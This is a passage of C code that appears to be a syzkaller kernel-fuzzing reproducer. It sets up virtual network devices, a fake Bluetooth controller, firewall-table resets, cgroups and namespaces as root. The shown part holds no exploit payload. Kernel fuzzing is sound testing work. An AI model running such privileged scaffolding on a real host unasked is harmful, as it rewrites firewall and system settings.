netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi");
netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0",
"veth1_virt_wifi");
netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan");
netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q));
netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD));
netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan");
netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan");
netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0);
netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S,
IPVLAN_F_VEPA);
netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap");
netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap");
netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap");
char addr[32];
sprintf(addr, DEV_IPV4, 14 + 10);
struct in_addr geneve_addr4;
if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0)
exit(1);
struct in6_addr geneve_addr6;
if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0)
exit(1);
netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0);
netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6);
netdevsim_add((int)procid, 4);
netlink_wireguard_setup();
for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) {
char addr[32];
sprintf(addr, DEV_IPV4, i + 10);
netlink_add_addr4(&nlmsg, sock, devices[i].name, addr);
if (!devices[i].noipv6) {
sprintf(addr, DEV_IPV6, i + 10);
netlink_add_addr6(&nlmsg, sock, devices[i].name, addr);
}
uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40);
netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr,
devices[i].macsize, NULL);
}
close(sock);
}
static void initialize_netdevices_init(void)
{
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
struct {
const char* type;
int macsize;
bool noipv6;
bool noup;
} devtypes[] = {
{"nr", 7, true},
{"rose", 5, true, true},
};
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) {
char dev[32], addr[32];
sprintf(dev, "%s%d", devtypes[i].type, (int)procid);
sprintf(addr, "172.30.%d.%d", i, (int)procid + 1);
netlink_add_addr4(&nlmsg, sock, dev, addr);
if (!devtypes[i].noipv6) {
sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1);
netlink_add_addr6(&nlmsg, sock, dev, addr);
}
int macsize = devtypes[i].macsize;
uint64_t macaddr = 0xbbbbbb +
((unsigned long long)i << (8 * (macsize - 2))) +
(procid << (8 * (macsize - 1)));
netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr,
macsize, NULL);
}
close(sock);
}
static int read_tun(char* data, int size)
{
if (tunfd < 0)
return -1;
int rv = read(tunfd, data, size);
if (rv < 0) {
if (errno == EAGAIN || errno == EBADFD)
return -1;
exit(1);
}
return rv;
}
static void flush_tun()
{
char data[1000];
while (read_tun(&data[0], sizeof(data)) != -1) {
}
}
#define MAX_FDS 30
static long syz_init_net_socket(volatile long domain, volatile long type,
volatile long proto)
{
int netns = open("/proc/self/ns/net", O_RDONLY);
if (netns == -1)
return netns;
if (setns(kInitNetNsFd, 0))
return -1;
int sock = syscall(__NR_socket, domain, type, proto);
int err = errno;
if (setns(netns, 0))
exit(1);
close(netns);
errno = err;
return sock;
}
#define BTPROTO_HCI 1
#define ACL_LINK 1
#define SCAN_PAGE 2
typedef struct {
uint8_t b[6];
} __attribute__((packed)) bdaddr_t;
#define HCI_COMMAND_PKT 1
#define HCI_EVENT_PKT 4
#define HCI_VENDOR_PKT 0xff
struct hci_command_hdr {
uint16_t opcode;
uint8_t plen;
} __attribute__((packed));
struct hci_event_hdr {
uint8_t evt;
uint8_t plen;
} __attribute__((packed));
#define HCI_EV_CONN_COMPLETE 0x03
struct hci_ev_conn_complete {
uint8_t status;
uint16_t handle;
bdaddr_t bdaddr;
uint8_t link_type;
uint8_t encr_mode;
} __attribute__((packed));
#define HCI_EV_CONN_REQUEST 0x04
struct hci_ev_conn_request {
bdaddr_t bdaddr;
uint8_t dev_class[3];
uint8_t link_type;
} __attribute__((packed));
#define HCI_EV_REMOTE_FEATURES 0x0b
struct hci_ev_remote_features {
uint8_t status;
uint16_t handle;
uint8_t features[8];
} __attribute__((packed));
#define HCI_EV_CMD_COMPLETE 0x0e
struct hci_ev_cmd_complete {
uint8_t ncmd;
uint16_t opcode;
} __attribute__((packed));
#define HCI_OP_WRITE_SCAN_ENABLE 0x0c1a
#define HCI_OP_READ_BUFFER_SIZE 0x1005
struct hci_rp_read_buffer_size {
uint8_t status;
uint16_t acl_mtu;
uint8_t sco_mtu;
uint16_t acl_max_pkt;
uint16_t sco_max_pkt;
} __attribute__((packed));
#define HCI_OP_READ_BD_ADDR 0x1009
struct hci_rp_read_bd_addr {
uint8_t status;
bdaddr_t bdaddr;
} __attribute__((packed));
#define HCI_EV_LE_META 0x3e
struct hci_ev_le_meta {
uint8_t subevent;
} __attribute__((packed));
#define HCI_EV_LE_CONN_COMPLETE 0x01
struct hci_ev_le_conn_complete {
uint8_t status;
uint16_t handle;
uint8_t role;
uint8_t bdaddr_type;
bdaddr_t bdaddr;
uint16_t interval;
uint16_t latency;
uint16_t supervision_timeout;
uint8_t clk_accurancy;
} __attribute__((packed));
struct hci_dev_req {
uint16_t dev_id;
uint32_t dev_opt;
};
struct vhci_vendor_pkt {
uint8_t type;
uint8_t opcode;
uint16_t id;
};
#define HCIDEVUP _IOW('H', 201, int)
#define HCISETSCAN _IOW('H', 221, int)
static int vhci_fd = -1;
static void hci_send_event_packet(int fd, uint8_t evt, void* data,
size_t data_len)
{
struct iovec iv[3];
struct hci_event_hdr hdr;
hdr.evt = evt;
hdr.plen = data_len;
uint8_t type = HCI_EVENT_PKT;
iv[0].iov_base = &type;
iv[0].iov_len = sizeof(type);
iv[1].iov_base = &hdr;
iv[1].iov_len = sizeof(hdr);
iv[2].iov_base = data;
iv[2].iov_len = data_len;
if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0)
exit(1);
}
static void hci_send_event_cmd_complete(int fd, uint16_t opcode, void* data,
size_t data_len)
{
struct iovec iv[4];
struct hci_event_hdr hdr;
hdr.evt = HCI_EV_CMD_COMPLETE;
hdr.plen = sizeof(struct hci_ev_cmd_complete) + data_len;
struct hci_ev_cmd_complete evt_hdr;
evt_hdr.ncmd = 1;
evt_hdr.opcode = opcode;
uint8_t type = HCI_EVENT_PKT;
iv[0].iov_base = &type;
iv[0].iov_len = sizeof(type);
iv[1].iov_base = &hdr;
iv[1].iov_len = sizeof(hdr);
iv[2].iov_base = &evt_hdr;
iv[2].iov_len = sizeof(evt_hdr);
iv[3].iov_base = data;
iv[3].iov_len = data_len;
if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0)
exit(1);
}
static bool process_command_pkt(int fd, char* buf, ssize_t buf_size)
{
struct hci_command_hdr* hdr = (struct hci_command_hdr*)buf;
if (buf_size < (ssize_t)sizeof(struct hci_command_hdr) ||
hdr->plen != buf_size - sizeof(struct hci_command_hdr)) {
exit(1);
}
switch (hdr->opcode) {
case HCI_OP_WRITE_SCAN_ENABLE: {
uint8_t status = 0;
hci_send_event_cmd_complete(fd, hdr->opcode, &status, sizeof(status));
return true;
}
case HCI_OP_READ_BD_ADDR: {
struct hci_rp_read_bd_addr rp = {0};
rp.status = 0;
memset(&rp.bdaddr, 0xaa, 6);
hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp));
return false;
}
case HCI_OP_READ_BUFFER_SIZE: {
struct hci_rp_read_buffer_size rp = {0};
rp.status = 0;
rp.acl_mtu = 1021;
rp.sco_mtu = 96;
rp.acl_max_pkt = 4;
rp.sco_max_pkt = 6;
hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp));
return false;
}
}
char dummy[0xf9] = {0};
hci_send_event_cmd_complete(fd, hdr->opcode, dummy, sizeof(dummy));
return false;
}
static void* event_thread(void* arg)
{
while (1) {
char buf[1024] = {0};
ssize_t buf_size = read(vhci_fd, buf, sizeof(buf));
if (buf_size < 0)
exit(1);
if (buf_size > 0 && buf[0] == HCI_COMMAND_PKT) {
if (process_command_pkt(vhci_fd, buf + 1, buf_size - 1))
break;
}
}
return NULL;
}
#define HCI_HANDLE_1 200
#define HCI_HANDLE_2 201
static void initialize_vhci()
{
int hci_sock = syz_init_net_socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
if (hci_sock < 0)
exit(1);
vhci_fd = open("/dev/vhci", O_RDWR);
if (vhci_fd == -1)
exit(1);
const int kVhciFd = 241;
if (dup2(vhci_fd, kVhciFd) < 0)
exit(1);
close(vhci_fd);
vhci_fd = kVhciFd;
struct vhci_vendor_pkt vendor_pkt;
if (read(vhci_fd, &vendor_pkt, sizeof(vendor_pkt)) != sizeof(vendor_pkt))
exit(1);
if (vendor_pkt.type != HCI_VENDOR_PKT)
exit(1);
pthread_t th;
if (pthread_create(&th, NULL, event_thread, NULL))
exit(1);
if (ioctl(hci_sock, HCIDEVUP, vendor_pkt.id) && errno != EALREADY)
exit(1);
struct hci_dev_req dr = {0};
dr.dev_id = vendor_pkt.id;
dr.dev_opt = SCAN_PAGE;
if (ioctl(hci_sock, HCISETSCAN, &dr))
exit(1);
struct hci_ev_conn_request request;
memset(&request, 0, sizeof(request));
memset(&request.bdaddr, 0xaa, 6);
*(uint8_t*)&request.bdaddr.b[5] = 0x10;
request.link_type = ACL_LINK;
hci_send_event_packet(vhci_fd, HCI_EV_CONN_REQUEST, &request,
sizeof(request));
struct hci_ev_conn_complete complete;
memset(&complete, 0, sizeof(complete));
complete.status = 0;
complete.handle = HCI_HANDLE_1;
memset(&complete.bdaddr, 0xaa, 6);
*(uint8_t*)&complete.bdaddr.b[5] = 0x10;
complete.link_type = ACL_LINK;
complete.encr_mode = 0;
hci_send_event_packet(vhci_fd, HCI_EV_CONN_COMPLETE, &complete,
sizeof(complete));
struct hci_ev_remote_features features;
memset(&features, 0, sizeof(features));
features.status = 0;
features.handle = HCI_HANDLE_1;
hci_send_event_packet(vhci_fd, HCI_EV_REMOTE_FEATURES, &features,
sizeof(features));
struct {
struct hci_ev_le_meta le_meta;
struct hci_ev_le_conn_complete le_conn;
} le_conn;
memset(&le_conn, 0, sizeof(le_conn));
le_conn.le_meta.subevent = HCI_EV_LE_CONN_COMPLETE;
memset(&le_conn.le_conn.bdaddr, 0xaa, 6);
*(uint8_t*)&le_conn.le_conn.bdaddr.b[5] = 0x11;
le_conn.le_conn.role = 1;
le_conn.le_conn.handle = HCI_HANDLE_2;
hci_send_event_packet(vhci_fd, HCI_EV_LE_META, &le_conn, sizeof(le_conn));
pthread_join(th, NULL);
close(hci_sock);
}
#define XT_TABLE_SIZE 1536
#define XT_MAX_ENTRIES 10
struct xt_counters {
uint64_t pcnt, bcnt;
};
struct ipt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_entries;
unsigned int size;
};
struct ipt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct ipt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[5];
unsigned int underflow[5];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct ipt_table_desc {
const char* name;
struct ipt_getinfo info;
struct ipt_replace replace;
};
static struct ipt_table_desc ipv4_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
static struct ipt_table_desc ipv6_tables[] = {
{.name = "filter"}, {.name = "nat"}, {.name = "mangle"},
{.name = "raw"}, {.name = "security"},
};
#define IPT_BASE_CTL 64
#define IPT_SO_SET_REPLACE (IPT_BASE_CTL)
#define IPT_SO_GET_INFO (IPT_BASE_CTL)
#define IPT_SO_GET_ENTRIES (IPT_BASE_CTL + 1)
struct arpt_getinfo {
char name[32];
unsigned int valid_hooks;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_entries;
unsigned int size;
};
struct arpt_get_entries {
char name[32];
unsigned int size;
void* entrytable[XT_TABLE_SIZE / sizeof(void*)];
};
struct arpt_replace {
char name[32];
unsigned int valid_hooks;
unsigned int num_entries;
unsigned int size;
unsigned int hook_entry[3];
unsigned int underflow[3];
unsigned int num_counters;
struct xt_counters* counters;
char entrytable[XT_TABLE_SIZE];
};
struct arpt_table_desc {
const char* name;
struct arpt_getinfo info;
struct arpt_replace replace;
};
static struct arpt_table_desc arpt_tables[] = {
{.name = "filter"},
};
#define ARPT_BASE_CTL 96
#define ARPT_SO_SET_REPLACE (ARPT_BASE_CTL)
#define ARPT_SO_GET_INFO (ARPT_BASE_CTL)
#define ARPT_SO_GET_ENTRIES (ARPT_BASE_CTL + 1)
static void checkpoint_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
struct ipt_get_entries entries;
socklen_t optlen;
int fd, i;
fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
optlen = sizeof(table->info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_iptables(struct ipt_table_desc* tables, int num_tables,
int family, int level)
{
struct xt_counters counters[XT_MAX_ENTRIES];
struct ipt_get_entries entries;
struct ipt_getinfo info;
socklen_t optlen;
int fd, i;
fd = socket(family, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < num_tables; i++) {
struct ipt_table_desc* table = &tables[i];
if (table->info.valid_hooks == 0)
continue;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
optlen = sizeof(info);
if (getsockopt(fd, level, IPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, level, IPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
}
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, level, IPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_arptables(void)
{
struct arpt_get_entries entries;
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
strcpy(table->info.name, table->name);
strcpy(table->replace.name, table->name);
optlen = sizeof(table->info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &table->info, &optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->info.size > sizeof(table->replace.entrytable))
exit(1);
if (table->info.num_entries > XT_MAX_ENTRIES)
exit(1);
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + table->info.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
table->replace.valid_hooks = table->info.valid_hooks;
table->replace.num_entries = table->info.num_entries;
table->replace.size = table->info.size;
memcpy(table->replace.hook_entry, table->info.hook_entry,
sizeof(table->replace.hook_entry));
memcpy(table->replace.underflow, table->info.underflow,
sizeof(table->replace.underflow));
memcpy(table->replace.entrytable, entries.entrytable, table->info.size);
}
close(fd);
}
static void reset_arptables()
{
struct xt_counters counters[XT_MAX_ENTRIES];
struct arpt_get_entries entries;
struct arpt_getinfo info;
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(arpt_tables) / sizeof(arpt_tables[0]); i++) {
struct arpt_table_desc* table = &arpt_tables[i];
if (table->info.valid_hooks == 0)
continue;
memset(&info, 0, sizeof(info));
strcpy(info.name, table->name);
optlen = sizeof(info);
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &optlen))
exit(1);
if (memcmp(&table->info, &info, sizeof(table->info)) == 0) {
memset(&entries, 0, sizeof(entries));
strcpy(entries.name, table->name);
entries.size = table->info.size;
optlen = sizeof(entries) - sizeof(entries.entrytable) + entries.size;
if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, &entries, &optlen))
exit(1);
if (memcmp(table->replace.entrytable, entries.entrytable,
table->info.size) == 0)
continue;
} else {
}
table->replace.num_counters = info.num_entries;
table->replace.counters = counters;
optlen = sizeof(table->replace) - sizeof(table->replace.entrytable) +
table->replace.size;
if (setsockopt(fd, SOL_IP, ARPT_SO_SET_REPLACE, &table->replace, optlen))
exit(1);
}
close(fd);
}
#define NF_BR_NUMHOOKS 6
#define EBT_TABLE_MAXNAMELEN 32
#define EBT_CHAIN_MAXNAMELEN 32
#define EBT_BASE_CTL 128
#define EBT_SO_SET_ENTRIES (EBT_BASE_CTL)
#define EBT_SO_GET_INFO (EBT_BASE_CTL)
#define EBT_SO_GET_ENTRIES (EBT_SO_GET_INFO + 1)
#define EBT_SO_GET_INIT_INFO (EBT_SO_GET_ENTRIES + 1)
#define EBT_SO_GET_INIT_ENTRIES (EBT_SO_GET_INIT_INFO + 1)
struct ebt_replace {
char name[EBT_TABLE_MAXNAMELEN];
unsigned int valid_hooks;
unsigned int nentries;
unsigned int entries_size;
struct ebt_entries* hook_entry[NF_BR_NUMHOOKS];
unsigned int num_counters;
struct ebt_counter* counters;
char* entries;
};
struct ebt_entries {
unsigned int distinguisher;
char name[EBT_CHAIN_MAXNAMELEN];
unsigned int counter_offset;
int policy;
unsigned int nentries;
char data[0] __attribute__((aligned(__alignof__(struct ebt_replace))));
};
struct ebt_table_desc {
const char* name;
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
};
static struct ebt_table_desc ebt_tables[] = {
{.name = "filter"},
{.name = "nat"},
{.name = "broute"},
};
static void checkpoint_ebtables(void)
{
socklen_t optlen;
unsigned i;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
strcpy(table->replace.name, table->name);
optlen = sizeof(table->replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_INFO, &table->replace,
&optlen)) {
switch (errno) {
case EPERM:
case ENOENT:
case ENOPROTOOPT:
continue;
}
exit(1);
}
if (table->replace.entries_size > sizeof(table->entrytable))
exit(1);
table->replace.num_counters = 0;
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INIT_ENTRIES, &table->replace,
&optlen))
exit(1);
}
close(fd);
}
static void reset_ebtables()
{
struct ebt_replace replace;
char entrytable[XT_TABLE_SIZE];
socklen_t optlen;
unsigned i, j, h;
int fd;
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (fd == -1) {
switch (errno) {
case EAFNOSUPPORT:
case ENOPROTOOPT:
return;
}
exit(1);
}
for (i = 0; i < sizeof(ebt_tables) / sizeof(ebt_tables[0]); i++) {
struct ebt_table_desc* table = &ebt_tables[i];
if (table->replace.valid_hooks == 0)
continue;
memset(&replace, 0, sizeof(replace));
strcpy(replace.name, table->name);
optlen = sizeof(replace);
if (getsockopt(fd, SOL_IP, EBT_SO_GET_INFO, &replace, &optlen))
exit(1);
replace.num_counters = 0;
table->replace.entries = 0;
for (h = 0; h < NF_BR_NUMHOOKS; h++)
table->replace.hook_entry[h] = 0;
if (memcmp(&table->replace, &replace, sizeof(table->replace)) == 0) {
memset(&entrytable, 0, sizeof(entrytable));
replace.entries = entrytable;
optlen = sizeof(replace) + replace.entries_size;
if (getsockopt(fd, SOL_IP, EBT_SO_GET_ENTRIES, &replace, &optlen))
exit(1);
if (memcmp(table->entrytable, entrytable, replace.entries_size) == 0)
continue;
}
for (j = 0, h = 0; h < NF_BR_NUMHOOKS; h++) {
if (table->replace.valid_hooks & (1 << h)) {
table->replace.hook_entry[h] =
(struct ebt_entries*)table->entrytable + j;
j++;
}
}
table->replace.entries = table->entrytable;
optlen = sizeof(table->replace) + table->replace.entries_size;
if (setsockopt(fd, SOL_IP, EBT_SO_SET_ENTRIES, &table->replace, optlen))
exit(1);
}
close(fd);
}
static void checkpoint_net_namespace(void)
{
checkpoint_ebtables();
checkpoint_arptables();
checkpoint_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
checkpoint_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void reset_net_namespace(void)
{
reset_ebtables();
reset_arptables();
reset_iptables(ipv4_tables, sizeof(ipv4_tables) / sizeof(ipv4_tables[0]),
AF_INET, SOL_IP);
reset_iptables(ipv6_tables, sizeof(ipv6_tables) / sizeof(ipv6_tables[0]),
AF_INET6, SOL_IPV6);
}
static void setup_cgroups()
{
if (mkdir("/syzcgroup", 0777)) {
}
if (mkdir("/syzcgroup/unified", 0777)) {
}
if (mount("none", "/syzcgroup/unified", "cgroup2", 0, NULL)) {
}
if (chmod("/syzcgroup/unified", 0777)) {
}
write_file("/syzcgroup/unified/cgroup.subtree_control",
"+cpu +memory +io +pids +rdma");
if (mkdir("/syzcgroup/cpu", 0777)) {
}
if (mount("none", "/syzcgroup/cpu", "cgroup", 0,
"cpuset,cpuacct,perf_event,hugetlb")) {
}
write_file("/syzcgroup/cpu/cgroup.clone_children", "1");
write_file("/syzcgroup/cpu/cpuset.memory_pressure_enabled", "1");
if (chmod("/syzcgroup/cpu", 0777)) {
}
if (mkdir("/syzcgroup/net", 0777)) {
}
if (mount("none", "/syzcgroup/net", "cgroup", 0,
"net_cls,net_prio,devices,freezer")) {
}
if (chmod("/syzcgroup/net", 0777)) {
}
}
static void setup_cgroups_loop()
{
int pid = getpid();
char file[128];
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/pids.max", cgroupdir);
write_file(file, "32");
snprintf(file, sizeof(file), "%s/memory.low", cgroupdir);
write_file(file, "%d", 298 << 20);
snprintf(file, sizeof(file), "%s/memory.high", cgroupdir);
write_file(file, "%d", 299 << 20);
snprintf(file, sizeof(file), "%s/memory.max", cgroupdir);
write_file(file, "%d", 300 << 20);
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (mkdir(cgroupdir, 0777)) {
}
snprintf(file, sizeof(file), "%s/cgroup.procs", cgroupdir);
write_file(file, "%d", pid);
}
static void setup_cgroups_test()
{
char cgroupdir[64];
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/unified/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/cpu/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.cpu")) {
}
snprintf(cgroupdir, sizeof(cgroupdir), "/syzcgroup/net/syz%llu", procid);
if (symlink(cgroupdir, "./cgroup.net")) {
}
}
static void setup_common()
{
if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
}
setup_cgroups();
}
static void loop();
static void sandbox_common()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
setsid();
int netns = open("/proc/self/ns/net", O_RDONLY);
if (netns == -1)
exit(1);
if (dup2(netns, kInitNetNsFd) < 0)
exit(1);
close(netns);
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim);
if (unshare(CLONE_NEWNS)) {
}
if (unshare(CLONE_NEWIPC)) {
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) {
}
if (unshare(CLONE_SYSVSEM)) {
}
typedef struct {
const char* name;
const char* value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"},
{"/proc/sys/kernel/shmall", "536870912"},
{"/proc/sys/kernel/shmmni", "1024"},
{"/proc/sys/kernel/msgmax", "8192"},
{"/proc/sys/kernel/msgmni", "1024"},
{"/proc/sys/kernel/msgmnb", "1024"},
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}
static int wait_for_loop(int pid)
{
if (pid < 0)
exit(1);
int status = 0;
while (waitpid(-1, &status, __WALL) != pid) {
}
return WEXITSTATUS(status);
}
static void drop_caps(void)
{
struct __user_cap_header_struct cap_hdr = {};
struct __user_cap_data_struct cap_data[2] = {};
cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
cap_hdr.pid = getpid();
if (syscall(SYS_capget, &cap_hdr, &cap_data))
exit(1);
const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
cap_data[0].effective &= ~drop;
cap_data[0].permitted &= ~drop;
cap_data[0].inheritable &= ~drop;
if (syscall(SYS_capset, &cap_hdr, &cap_data))
exit(1);
}
static int do_sandbox_none(void)
{
if (unshare(CLONE_NEWPID)) {
}
int pid = fork();
if (pid != 0)
return wait_for_loop(pid);
setup_common();
sandbox_common();
drop_caps();
initialize_netdevices_init();
if (unshare(CLONE_NEWNET)) {
}
initialize_tun();
initialize_netdevices();
initialize_vhci();
loop();
exit(1);
}
#define FS_IOC_SETFLAGS _IOW('f', 2, long)
static void remove_dir(const char* dir)
{
DIR* dp;
struct dirent* ep;
int iter = 0;
retry:
dp = opendir(dir);
if (dp == NULL) {
if (errno == EMFILE) {
exit(1);
}
exit(1);
}
while ((ep = readdir(dp))) {
if (strcmp(ep->d_name, ".") == 0 || strcmp(ep->d_name, "..") == 0)
continue;
char filename[FILENAME_MAX];
snprintf(filename, sizeof(filename), "%s/%s", dir, ep->d_name);
struct stat st;
if (lstat(filename, &st))
exit(1);
if (S_ISDIR(st.st_mode)) {
remove_dir(filename);
continue;
}
int i;
for (i = 0;; i++) {
if (unlink(filename) == 0)
break;
if (errno == EPERM) {
int fd = open(filename, O_RDONLY);
if (fd != -1) {
long flags = 0;
if (ioctl(fd, FS_IOC_SETFLAGS, &flags) == 0) {
}
close(fd);
continue;
}
}
if (errno == EROFS) {
break;
}
if (errno != EBUSY || i > 100)
exit(1);
}
}
closedir(dp);
int i;
for (i = 0;; i++) {
if (rmdir(dir) == 0)
